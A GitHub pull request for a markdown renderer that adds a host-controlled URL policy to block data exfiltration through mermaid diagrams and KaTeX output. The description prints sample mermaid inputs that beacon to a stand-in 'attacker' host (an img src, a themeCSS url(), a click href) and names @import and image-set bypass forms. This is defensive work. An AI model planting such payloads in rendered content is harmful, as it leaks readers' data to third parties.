feat(url-policy): TrustedURL-shaped host gate for every emitted URL (prototype) - #255
Draft
jonathanKingston wants to merge 3 commits into
Draft
feat(url-policy): TrustedURL-shaped host gate for every emitted URL (prototype)#255jonathanKingston wants to merge 3 commits into
jonathanKingston wants to merge 3 commits into
Conversation
…prototype) A `MarkdownConfig.urlPolicy` a host installs once and that is consulted for every URL this package emits, modelled on the `TrustedURL` type Trusted Types dropped in w3c/trusted-types#65. `createURL(request)` returns the URL to use — which need not be the one it was given — or `null` to block it. Motivation: mermaid SVG and KaTeX HTML are injected *after* the sink sanitizer, so `linkImagePolicy` never sees them. Measured against real mermaid 11 in Chromium at its default `securityLevel: 'strict'`: an HTML label emits `<img src>` inside `<foreignObject>`, and an injected `themeCSS` reaches the SVG's `<style>` as a live `url()` — both fetched with no user interaction, with an origin policy installed and no effect. Neither `flowchart.htmlLabels: false` nor mermaid's own `dompurifyConfig` stops them, so it has to be filtered on the way out. Why the shape transfers here when the platform dropped it: TrustedURL died because enforcement across the DOM's unbounded URL sink surface broke too much, and the residual non-XSS risks were delegated to CSP `*-src`. Neither applies to a markdown renderer — the sink surface is small and enumerable because this package emits it, and a library cannot set the host's CSP. The issue's own conclusion (hard-block `javascript:` after parsing rather than ask developers to sanitize every href) becomes the floor: the scheme allowlist runs first, applies to what the policy *returns* as well as what it is asked, and a host policy can only narrow from there. Enforced at all three tiers, so "the policy sees every URL" is a real property: - the inline emitters (renderAnchor / renderedImage / renderedAutolink), which covers the `renderMarkdownUnsafe` string path that never reaches the sink; - the sink gate, for raw-HTML passthrough destinations that never met `safeLinkHref`; - a new post-sink walker (url-filter-markup.ts) over diagram/math markup, covering href/xlink:href/src/srcset and `url()` in <style> and style="". Notes on the shape: - `UrlRequest.url` is a canonicalized, credential-stripped `URL`, not a raw string — prefix-matching raw strings is where origin allowlists get bypassed. - `sink` ('navigation' | 'image' | 'style') is the distinction TrustedURL lacked and a large part of why it was unusable: cross-origin is ordinary for a link a reader follows and an unattended channel for a subresource. - Same-document fragments are passed through unchecked; every diagram carries `url(#…)` marker refs, and blocking them removes every arrowhead. - The policy runs at the emitters, not inside `safeLinkHref`: that function is also the parse gate `linkOrImageEndAt` uses to probe link boundaries for the emphasis pass, so a policy there saw every URL twice and would have let a host decision change how emphasis pairs. - Post-sink markup is parsed in a browsing-context-free `DOMParser` document, verified to issue no requests, so URLs are decided before anything can fetch. Off by default: with no policy installed every call is one null check and output stays byte-identical. Measured limitation, recorded in url-filter-markup.ts: `mermaid.render()` fetches the label `<img>` and the themeCSS `url()` ITSELF — it renders into a temporary live node to measure labels — so the first beacon is already gone before a host sees the SVG. This pass stops everything after that, but the initial exfiltration can only be closed on the way in, by controlling the source handed to the backend or rendering in a sandbox. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Fixes the two failing checks on #255. `build` was the coverage gate, not compilation: the new modules left `filterSrcset`, the `srcset` and `style`-attribute branches of the markup walker, `canonicalizeUrl`'s unparseable-input path, and the math hydration policy branch unexecuted, dropping line coverage to 99.84% against a 99.98% baseline. Added tests for each rather than lowering the baseline — per-candidate srcset filtering, `url()` in a `style` attribute, a `url: null` request for a destination that does not resolve, math hydration with and without a policy, and a set of filter edge cases (empty values, quoted `url()` forms, in-place rewrites, non-URL attributes). Mirroring CI locally (with the GFM spec fixture fetched, so the conformance suite runs) the gate now reports 99.98%, +0.00%. One of those tests found a caveat worth documenting: `filterMarkupUrlsString` re-serializes, so its output is not byte-identical to its input even when nothing is filtered (`<image/>` comes back as `<image></image>`). Semantics are preserved; the node path avoids the round trip entirely. Noted on the function. `size` was the core bundle at 37506 gzip against a 37000 budget (+1099, ~3%), because the post-sink walker reaches the core entry through `mermaid.ts`. Bumped only the `.` entry, to the file's documented ~5% headroom. Deliberately NOT `npm run size:update`, which re-measures every entry and would have tightened six unrelated budgets in a PR that has nothing to do with them. This records the growth; it does not settle it. Keeping the walker out of the core bundle (behind the `/diagrams/*` and `/math/*` subpaths, so hosts without a policy don't pay for it) is still the open question flagged on the PR. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…he next
Asking "how do we guarantee we have every sink" broke the prototype three times.
All three verified in real Chromium; the first two actually fetched.
- `@import "https://…"` in a <style>: the CSS scan only matched `url()`, and
the string form is not a `url()` token. Reachable from diagram source via
mermaid's themeCSS.
- `image-set("https://…" 1x)`: same root cause — it takes bare strings.
- `srcset` / `poster` on raw-HTML passthrough: the sink gate named `a`/`href`
and `img`/`src` explicitly, so any other URL attribute a host admitted
through `sanitizeExtension` was never presented to the policy.
The third is the instructive one. The post-sink walker caught `iframe src`,
`object data`, `track src`, `input type=image` and `video poster` without any of
them being enumerated, because it classifies ATTRIBUTES; the sink gate missed the
same inputs because it named ELEMENTS. Both now share one exported classifier, so
widening the sanitizer allowlist cannot open an unpoliced sink.
CSS moves off pattern matching and onto the engine's own parser. `@import`
surfaces structurally as `CSSImportRule.href` in both syntaxes, and everything
else normalizes into `url()` on serialization (`image-set("x")` comes back as
`image-set(url("x"))`), which collapses the whole family to one shape to scan.
Parsing uses a constructible stylesheet rather than `style.sheet`: browsers do
build CSSOM for a DOMParser document, but jsdom only does so for a window-backed
one, so `style.sheet` would have been a browser-only branch the Node suite could
never execute. `new CSSStyleSheet()` needs no document and exists in both. The
engines shed the dangerous forms differently and both end up safe — Chromium
drops @import per the CSSOM spec, jsdom drops an image-set it cannot parse — and
a text-scanning fallback covers an environment with no CSSStyleSheet at all.
The real deliverable is url-policy-coverage.test.ts, because enumeration is what
failed. It inverts the test: install a policy that blocks everything, render a
corpus of every URL-emitting construct, and assert no external URL survives
anywhere in the output. The scan deliberately does NOT use the package's own
classifier — it walks every attribute of every element by name-agnostic regex,
plus <style> text — since reusing the classifier would only prove it agrees with
itself. That is what catches a sink nobody thought to classify. It found two
further problems on its first run (a namespace-declaration false positive, and my
own wrong expectation about raw passthrough on the unsanitized path).
Also fixes a latent state-machine bug my change made common: markRendered set
`--rendered` before injecting, so an injection that threw left a container
carrying `--rendered` AND `--error` with conflicting styling. Classes now flip
only on success. Pre-existing — the same ordering would bite whenever Trusted
Types rejected a plain-string SVG.
Note for reviewers: both filter paths re-serialize, so output is not
byte-identical to input even when nothing is filtered — `<image/>` becomes
`<image></image>`, and `url(#x)` becomes `url("#x")`. Semantics are preserved.
Round-tripping CSS through the parser also drops any rule the engine cannot
parse, which is the posture taken everywhere else here: what we cannot inspect
does not ship.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Prototype of a
MarkdownConfig.urlPolicy— one host-controlled gate consulted for every URL this package emits — modelled on theTrustedURLtype Trusted Types dropped in w3c/trusted-types#65.Why
Mermaid SVG and KaTeX HTML are injected after the sink sanitizer, so
linkImagePolicynever sees them. Measured against real mermaid 11 in Chromium at its defaultsecurityLevel: 'strict':A["<img src='https://attacker/leak'>"]→<img>inside<foreignObject>%%{init: {"themeCSS": "… url(https://attacker/css) …"}}%%→url()in the SVG's<style>click A href "https://attacker/x"→<a xlink:href>Neither
flowchart: { htmlLabels: false }nor mermaid's owndompurifyConfigstops the first two — both still emitted and still fetched — so it has to be filtered on the way out. XSS is not the gap here (mermaid's internal DOMPurify stripsonerrorandjavascript:hrefs); exfiltration is.Why the shape transfers even though the platform dropped it. TrustedURL died because enforcement across the DOM's unbounded URL sink surface broke too much, and the residual non-XSS risks were delegated to CSP
*-src. Neither objection applies to a markdown renderer: the sink surface is small and enumerable because this package emits it, and a library cannot set the host's CSP — which is exactly why the gap above exists. The issue's own conclusion (hard-blockjavascript:after parsing rather than ask developers to sanitize everyhref) becomes the floor: the scheme allowlist runs first, applies to what a policy returns as well as what it is asked, and a host policy can only narrow from there.What changed
Enforced at all three tiers, so "the policy sees every URL" is a real property rather than a claim:
renderAnchor/renderedImage/renderedAutolink) — covers therenderMarkdownUnsafestring path, which never reaches the sinksafeLinkHrefurl-filter-markup.ts) — diagram/math markup:href,xlink:href,src,srcset, andurl()in both<style>text andstyleattributesThe scheme allowlist (
DEFAULT_SAFE_HREF_SCHEMES/isAllowedHref/getSafeHrefSchemes) moved frominline-links.tstourl-policy.tsso the floor can apply on paths that never touch the inline module; it is re-exported from its original home, and the barrel surface is unchanged apart from the newfilterMarkupUrlsString.Off by default — with no policy installed every call is one null check and output is byte-identical.
Design notes for review
UrlRequest.urlis a canonicalized, credential-strippedURL, not a raw string. Prefix-matching raw strings is where origin allowlists get bypassed (https://good.com@evil.com,\for/, scheme-relative, punycode); handing hosts the parsed URL removes that class from their code.sink(navigation|image|style) is the distinction TrustedURL lacked, and a large part of why it was unusable: cross-origin is ordinary for a link a reader follows and an unattended channel for a subresource the browser fetches on sight.url(#…-pointEnd)marker refs and<use href="#…">; blocking them removes every arrowhead.safeLinkHref. That function is also the parse gatelinkOrImageEndAtuses to probe link boundaries for the emphasis pass and discards — a policy there saw every URL twice and would have let a host decision change how emphasis pairs.<a>keeps its label,<img>keeps itsalt), matching howlink-image-policy.tsalready neutralizes.DOMParserdocument — verified in Chromium to issue no requests — so every URL is decided before anything can fetch.Measured limitation (recorded in the module header)
mermaid.render()fetches the label<img>and the themeCSSurl()itself, because it renders into a temporary live node to measure labels. Confirmed with nothing injected into the page. The first beacon is therefore already gone before a host sees the SVG string. This pass stops everything after that — repeat loads, the persistent subresource, click-through destinations, CSS fetches in the injected document — but the initial exfiltration can only be closed on the way in, by controlling the source handed to the backend (mermaidSourceCandidates) or rendering in a sandbox. Worth deciding before this goes beyond prototype.Open items
size:updatedeliberately not run — the alternative is moving the walker behind the/diagrams/*and/math/*subpaths so hosts without a policy don't pay for it.DOMParser.parseFromStringis itself a TT sink (same reason DOMPurify ships its own policy), so the parse needs routing through thehtml-sink.tschokepoint under enforcement. Flagged in the module header.data-smd-url-checkedso the sink can distinguish them from passthrough and not double-call a rewriting policy. It exists only while a policy is installed and never survives the sink, but it's the least elegant part.safeHrefSchemes/linkImagePolicyare not yet folded in as sugar over this primitive — deliberately out of scope until the shape is settled.SECURITY.mdtrust-boundary section,EXTENDING.md) not yet updated; happy to write the ADR if the shape holds up.Testing
npm test— 1244 pass, 0 fail. Newsrc/url-policy.test.ts(17 tests) covers the off-by-default byte-identity, per-sink coverage of links/images/autolinks with exactly-once presentation, rewriting, canonicalization, the floor on both the request and the response, passthrough gating, marker non-leakage, the full mermaid SVG shape (foreignObject / themeCSS / xlink:href / fragment refs), and end-to-end hydration. Additionally verified in real Chromium against real mermaid viaplaywright-core. Typecheck clean.🤖 Generated with Claude Code